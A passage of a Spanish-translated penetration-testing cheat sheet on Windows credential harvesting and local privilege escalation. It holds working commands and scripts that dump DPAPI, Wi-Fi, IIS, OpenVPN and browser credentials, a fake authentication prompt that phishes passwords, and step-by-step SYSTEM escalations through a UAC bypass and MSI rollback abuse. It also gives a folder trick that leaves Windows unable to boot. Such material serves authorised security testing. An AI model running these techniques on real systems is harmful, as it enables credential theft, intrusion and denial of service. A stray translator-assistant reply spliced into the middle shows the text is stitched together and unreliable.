Puedes usar mimikatz module dpapi::masterkey con los argumentos apropiados (/pvk o /rpc) para descifrarlo.

Los archivos de credenciales protegidos por la master password suelen ubicarse en:

bash

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Puedes usar mimikatz module dpapi::cred con el /masterkey apropiado para descifrar.
Puedes extraer muchas DPAPI masterkeys de memoria con el módulo sekurlsa::dpapi (si eres root).

DPAPI - Extracting Passwords

Credenciales de PowerShell

PowerShell credentials se usan a menudo para tareas de scripting y automatización como una forma de almacenar credenciales cifradas de manera conveniente. Las credenciales están protegidas usando DPAPI, lo que normalmente significa que solo pueden ser descifradas por el mismo usuario en el mismo equipo donde fueron creadas.

Para descifrar una credencial PS desde el archivo que la contiene, puedes hacer:

bash

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

bash

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Conexiones RDP guardadas

Puedes encontrarlas en HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
y en HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandos ejecutados recientemente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Administrador de credenciales de Escritorio remoto

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Usa el Mimikatz dpapi::rdg module con el /masterkey apropiado para descifrar cualquier archivo .rdg
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module

Sticky Notes

People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining.

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials have been configured and can be recovered.

This code was extracted from PowerUP:

bash

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Comprueba si C:\Windows\CCM\SCClient.exe existe .
Los instaladores se ejecutan con privilegios SYSTEM, muchos son vulnerables a DLL Sideloading (Info de https://github.com/enjoiz/Privesc).

bash

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Archivos y Registro (Credentials)

Putty Creds

bash

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Claves de host SSH de Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Claves SSH en el registro

Las claves privadas SSH pueden almacenarse dentro de la clave del registro HKCU\Software\OpenSSH\Agent\Keys, así que deberías comprobar si hay algo interesante ahí:

bash

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Si encuentras alguna entrada dentro de esa ruta, probablemente sea una SSH key guardada. Está almacenada cifrada pero puede descifrarse fácilmente usando https://github.com/ropnop/windows_sshagent_extract.
Más información sobre esta técnica aquí: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Si el servicio ssh-agent no se está ejecutando y quieres que se inicie automáticamente al arrancar, ejecuta:

bash

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

tip

Parece que esta técnica ya no es válida. Intenté crear algunas ssh keys, agregarlas con ssh-add e iniciar sesión vía ssh en una máquina. El registro HKCU\Software\OpenSSH\Agent\Keys no existe y procmon no identificó el uso de dpapi.dll durante la autenticación de clave asimétrica.

Archivos desatendidos

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

También puedes buscar estos archivos usando metasploit: post/windows/gather/enum_unattend

Contenido de ejemplo:

xml

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Copias de seguridad de SAM y SYSTEM

bash

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenciales en la nube

bash

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Busca un archivo llamado SiteList.xml

Contraseña GPP en caché

Existía una característica que permitía desplegar cuentas de administrador local personalizadas en un grupo de equipos mediante Group Policy Preferences (GPP). Sin embargo, este método presentaba fallos de seguridad significativos. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPPs, encriptadas con AES256 usando una clave por defecto documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto suponía un riesgo grave, ya que podría permitir a usuarios obtener privilegios elevados.

Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar dicho archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.

Busca en C:\ProgramData\Microsoft\Group Policy\history o en C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (anterior a W Vista) estos archivos:

Groups.xml
Services.xml
Scheduledtasks.xml
DataSources.xml
Printers.xml
Drives.xml

Para descifrar el cPassword:

bash

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec para obtener los passwords:

bash

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

Configuración Web de IIS

bash

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

bash

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

bash

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Ejemplo de web.config con credenciales:

xml

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenciales de OpenVPN

csharp

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Registros

bash

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Pedir credenciales

Siempre puedes pedir al usuario que introduzca sus credenciales o incluso las credenciales de otro usuario si crees que puede conocerlas (nota que pedir directamente al cliente las credenciales es realmente arriesgado):

bash

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Posibles nombres de archivo que contienen credentials

Archivos conocidos que, en algún momento, contenían passwords en clear-text o Base64

bash

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

No has proporcionado el contenido de src/windows-hardening/windows-local-privilege-escalation/README.md. Por favor pega aquí el texto del archivo o indica cómo acceder al repositorio (por ejemplo, comparte el contenido o un enlace al archivo). Traduciré al español manteniendo intactos código, nombres técnicos, tags, links y paths. ¿Deseas que traduzca todo el archivo?

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credenciales en la Papelera de reciclaje

También deberías revisar la Papelera para buscar credenciales en su interior

Para recuperar contraseñas guardadas por varios programas puedes usar: http://www.nirsoft.net/password_recovery_tools.html

Dentro del registro

Otras posibles claves del registro con credenciales

bash

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extraer openssh keys del registro.

Historial de navegadores

Debes buscar bases de datos (dbs) donde se almacenen contraseñas de Chrome or Firefox.
También revisa el historial, los marcadores y los favoritos de los navegadores, ya que quizá algunas contraseñas estén almacenadas allí.

Herramientas para extraer contraseñas de navegadores:

Mimikatz: dpapi::chrome
SharpWeb
SharpChromium
SharpDPAPI

COM DLL Overwriting

Component Object Model (COM) es una tecnología integrada en el sistema operativo Windows que permite la intercomunicación entre componentes de software escritos en diferentes lenguajes. Cada componente COM está identificado mediante un class ID (CLSID) y cada componente expone funcionalidad a través de una o más interfaces, identificadas mediante interface IDs (IIDs).

Las clases e interfaces COM se definen en el registro bajo HKEY\CLASSES\ROOT\CLSID y HKEY\CLASSES\ROOT\Interface respectivamente. Este registro se crea al fusionar HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Dentro de los CLSIDs de este registro puedes encontrar la clave hija InProcServer32 que contiene un valor por defecto apuntando a una DLL y un valor llamado ThreadingModel que puede ser Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) o Neutral (Thread Neutral).

Básicamente, si puedes sobrescribir cualquiera de las DLLs que van a ser ejecutadas, podrías elevar privilegios si esa DLL va a ser ejecutada por un usuario diferente.

Para aprender cómo los atacantes usan COM Hijacking como mecanismo de persistencia, consulta:

COM Hijacking

Generic Password search in files and registry

Buscar en el contenido de archivos

bash

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Buscar un archivo con un nombre específico

bash

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Buscar en el registro nombres de claves y contraseñas

bash

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Herramientas que buscan contraseñas

MSF-Credentials Plugin es un plugin de msf que he creado para ejecutar automáticamente cada metasploit POST module que busca credenciales dentro de la víctima.
Winpeas busca automáticamente todos los archivos que contienen las contraseñas mencionadas en esta página.
Lazagne es otra gran herramienta para extraer contraseñas de un sistema.

La herramienta SessionGopher busca sesiones, nombres de usuario y contraseñas de varias herramientas que guardan estos datos en texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY y RDP)

bash

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Lee este ejemplo para más información sobre cómo detectar y explotar esta vulnerabilidad.
Lee este otro post para una explicación más completa sobre cómo probar y abusar de más open handlers de procesos y threads heredados con diferentes niveles de permisos (no solo full access).

Named Pipe Client Impersonation

Shared memory segments, referred to as pipes, enable process communication and data transfer.

Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.

When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. Identifying a privileged process that communicates via a pipe you can mimic provides an opportunity to gain higher privileges by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found here and here.

Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer

Varios

Extensiones de archivo que podrían ejecutar código en Windows

Consulta la página https://filesec.io/

Monitorización de líneas de comando en busca de contraseñas

When getting a shell as a user, there may be scheduled tasks or other processes being executed which pass credentials on the command line. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.

bash

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Robar contraseñas desde procesos

De usuario de bajo privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Si tienes acceso a la interfaz gráfica (vía consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario no privilegiado.

Esto hace posible escalar privilegios y eludir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario usado durante el proceso está firmado y emitido por Microsoft.

Algunos de los sistemas afectados son los siguientes:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Para explotar esta vulnerabilidad, es necesario realizar los siguientes pasos:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

De Administrator Medium a High Integrity Level / UAC Bypass

Lee esto para aprender sobre Integrity Levels:

Integrity Levels

Luego lee esto para aprender sobre UAC y los bypasses de UAC:

UAC - User Account Control

De eliminación/movimiento/renombrado arbitrario de carpeta a SYSTEM EoP

La técnica descrita en este blog post con un código exploit disponible aquí.

El ataque básicamente consiste en abusar de la característica de rollback de Windows Installer para reemplazar archivos legítimos por maliciosos durante el proceso de desinstalación. Para esto el atacante necesita crear un malicious MSI installer que será usado para secuestrar la carpeta C:\Config.Msi, la cual después será usada por Windows Installer para almacenar archivos de rollback durante la desinstalación de otros paquetes MSI donde los archivos de rollback habrían sido modificados para contener la carga maliciosa.

La técnica resumida es la siguiente:

Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

Step 1: Install the MSI
Crea un .msi que instale un archivo inocuo (por ejemplo, dummy.txt) en una carpeta escribible (TARGETDIR).
Marca el instalador como "UAC Compliant", de modo que un usuario no administrador pueda ejecutarlo.
Mantén un handle abierto al archivo después de la instalación.
Step 2: Begin Uninstall
Desinstala el mismo .msi.
El proceso de desinstalación empieza a mover archivos a C:\Config.Msi y los renombra a archivos .rbf (backups de rollback).
Poll the open file handle usando GetFinalPathNameByHandle para detectar cuando el archivo se convierte en C:\Config.Msi\<random>.rbf.
Step 3: Custom Syncing
El .msi incluye una custom uninstall action (SyncOnRbfWritten) que:
Señala cuando se ha escrito el .rbf.
Luego espera en otro evento antes de continuar la desinstalación.
Step 4: Block Deletion of .rbf
Cuando se recibe la señal, abre el archivo .rbf sin FILE_SHARE_DELETE — esto evita que sea eliminado.
Entonces señala de vuelta para que la desinstalación pueda terminar.
Windows Installer no puede borrar el .rbf, y como no puede eliminar todo el contenido, C:\Config.Msi no se elimina.
Step 5: Manually Delete .rbf
Tú (atacante) borras manualmente el archivo .rbf.
Ahora C:\Config.Msi está vacío, listo para ser secuestrado.

En este punto, dispara la vulnerabilidad de eliminación arbitraria de carpetas a nivel SYSTEM para borrar C:\Config.Msi.

Stage 2 – Replacing Rollback Scripts with Malicious Ones

Step 6: Recreate C:\Config.Msi with Weak ACLs
Recrea la carpeta C:\Config.Msi tú mismo.
Establece DACLs débiles (por ejemplo, Everyone:F), y mantén un handle abierto con WRITE_DAC.
Step 7: Run Another Install
Instala el .msi otra vez, con:
TARGETDIR: ubicación escribible.
ERROROUT: una variable que provoca un fallo forzado.
Esta instalación se usará para desencadenar nuevamente el rollback, que lee .rbs y .rbf.
Step 8: Monitor for .rbs
Usa ReadDirectoryChangesW para monitorear C:\Config.Msi hasta que aparezca un nuevo .rbs.
Captura su nombre de archivo.
Step 9: Sync Before Rollback
El .msi contiene una custom install action (SyncBeforeRollback) que:
Señala un evento cuando se crea el .rbs.
Luego espera antes de continuar.
Step 10: Reapply Weak ACL
Después de recibir el evento rbs created:
Windows Installer reaplica ACLs fuertes a C:\Config.Msi.
Pero como todavía tienes un handle con WRITE_DAC, puedes reaplicar ACLs débiles nuevamente.

Las ACLs se aplican sólo al abrir el handle, así que aún puedes escribir en la carpeta.

Step 11: Drop Fake .rbs and .rbf
Sobrescribe el archivo .rbs con un fake rollback script que indica a Windows que:
Restaure tu .rbf (DLL maliciosa) en una ubicación privilegiada (por ejemplo, C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).
Coloque tu fake .rbf que contiene una DLL con payload a nivel SYSTEM.
Step 12: Trigger the Rollback
Señala el evento de sincronización para que el instalador continúe.
Se configura una type 19 custom action (ErrorOut) para fallar intencionalmente la instalación en un punto conocido.
Esto provoca que comience el rollback.
Step 13: SYSTEM Installs Your DLL
Windows Installer:
Lee tu .rbs maliciosa.
Copia tu .rbf DLL en la ubicación objetivo.
Ahora tienes tu DLL maliciosa en una ruta que carga SYSTEM.
Final Step: Execute SYSTEM Code
Ejecuta un auto-elevated binary de confianza (por ejemplo, osk.exe) que cargue la DLL que secuestraste.
¡Boom!: Tu código se ejecuta como SYSTEM.

De eliminación/movimiento/renombrado arbitrario de archivo a SYSTEM EoP

La técnica principal de rollback de MSI (la anterior) asume que puedes eliminar una carpeta entera (por ejemplo, C:\Config.Msi). ¿Pero qué pasa si tu vulnerabilidad sólo permite eliminación arbitraria de archivos?

Podrías explotar los NTFS internals: cada carpeta tiene una corriente de datos alterna oculta llamada:

C:\SomeFolder::$INDEX_ALLOCATION

Este stream almacena los metadatos de índice de la carpeta.

Por lo tanto, si eliminas el stream ::$INDEX_ALLOCATION de una carpeta, NTFS elimina la carpeta completa del sistema de archivos.

Puedes hacer esto usando APIs estándar de eliminación de archivos como:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Aunque estés llamando a una file delete API, esta elimina la carpeta en sí.

De eliminar el contenido de la carpeta a SYSTEM EoP

¿Qué pasa si tu primitiva no te permite eliminar archivos/carpetas arbitrarios, pero sí permite la eliminación de los contenidos de una carpeta controlada por el atacante?

Paso 1: Configura una carpeta y archivo señuelo

Crear: C:\temp\folder1
Dentro de ella: C:\temp\folder1\file1.txt

Paso 2: Coloca un oplock en file1.txt

El oplock pausa la ejecución cuando un proceso con privilegios intenta eliminar file1.txt.

// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();

Paso 3: Activar el proceso SYSTEM (p. ej., SilentCleanup)

Este proceso escanea carpetas (p. ej., %TEMP%) e intenta eliminar su contenido.
Cuando llega a file1.txt, el oplock se activa y entrega el control a tu callback.

Paso 4: Dentro del callback del oplock – redirige la eliminación

Opción A: Mover file1.txt a otro lugar
Esto vacía folder1 sin romper el oplock.
No borres file1.txt directamente — eso liberaría el oplock prematuramente.
Opción B: Convertir folder1 en una junction:

bash

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control

Opción C: Crear un symlink en \RPC Control:

bash

# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Esto apunta al stream interno de NTFS que almacena los metadatos de la carpeta — borrarlo borra la carpeta.

Paso 5: Liberar el oplock

El proceso SYSTEM continúa e intenta eliminar file1.txt.
Pero ahora, debido al junction + symlink, en realidad está eliminando:

C:\Config.Msi::$INDEX_ALLOCATION

Resultado: C:\Config.Msi es eliminado por SYSTEM.

De crear carpetas arbitrarias a DoS permanente

Aprovecha una primitiva que te permite crear una carpeta arbitraria como SYSTEM/admin — incluso si no puedes escribir archivos o establecer permisos débiles.

Crea una carpeta (no un archivo) con el nombre de un controlador crítico de Windows, p. ej.:

C:\Windows\System32\cng.sys

Esta ruta normalmente corresponde al controlador en modo kernel cng.sys.
Si lo creas previamente como una carpeta, Windows no carga el driver real al arrancar.
Entonces, Windows intenta cargar cng.sys durante el arranque.
Ve la carpeta, no logra resolver el driver real, y se bloquea o detiene el arranque.
No hay alternativa, y no hay recuperación sin intervención externa (p. ej., reparación de arranque o acceso al disco).

De High Integrity a SYSTEM

Nuevo servicio

Si ya estás ejecutando en un proceso High Integrity, llegar a SYSTEM puede ser tan fácil como crear y ejecutar un nuevo servicio:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

tip

Cuando crees un binario de servicio asegúrate de que sea un servicio válido o de que el binario realice las acciones necesarias rápidamente, ya que será terminado en 20s si no es un servicio válido.

AlwaysInstallElevated

Desde un proceso High Integrity podrías intentar habilitar las entradas de registro AlwaysInstallElevated y instalar una reverse shell usando un wrapper .msi.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Puedes find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Si tienes esos privilegios de token (probablemente los encontrarás en un proceso High Integrity), podrás abrir casi cualquier proceso (no procesos protegidos) con el privilegio SeDebug, copiar el token del proceso y crear un proceso arbitrario con ese token.
Usando esta técnica normalmente se selecciona cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token (sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token).
You can find an example of code executing the proposed technique here.

Named Pipes

Esta técnica la utiliza meterpreter para escalar en getsystem. La técnica consiste en crear una pipe y luego crear/abusar un servicio para escribir en esa pipe. Entonces, el server que creó la pipe usando el privilegio SeImpersonate podrá suplantar el token del cliente de la pipe (el servicio) obteniendo privilegios SYSTEM.
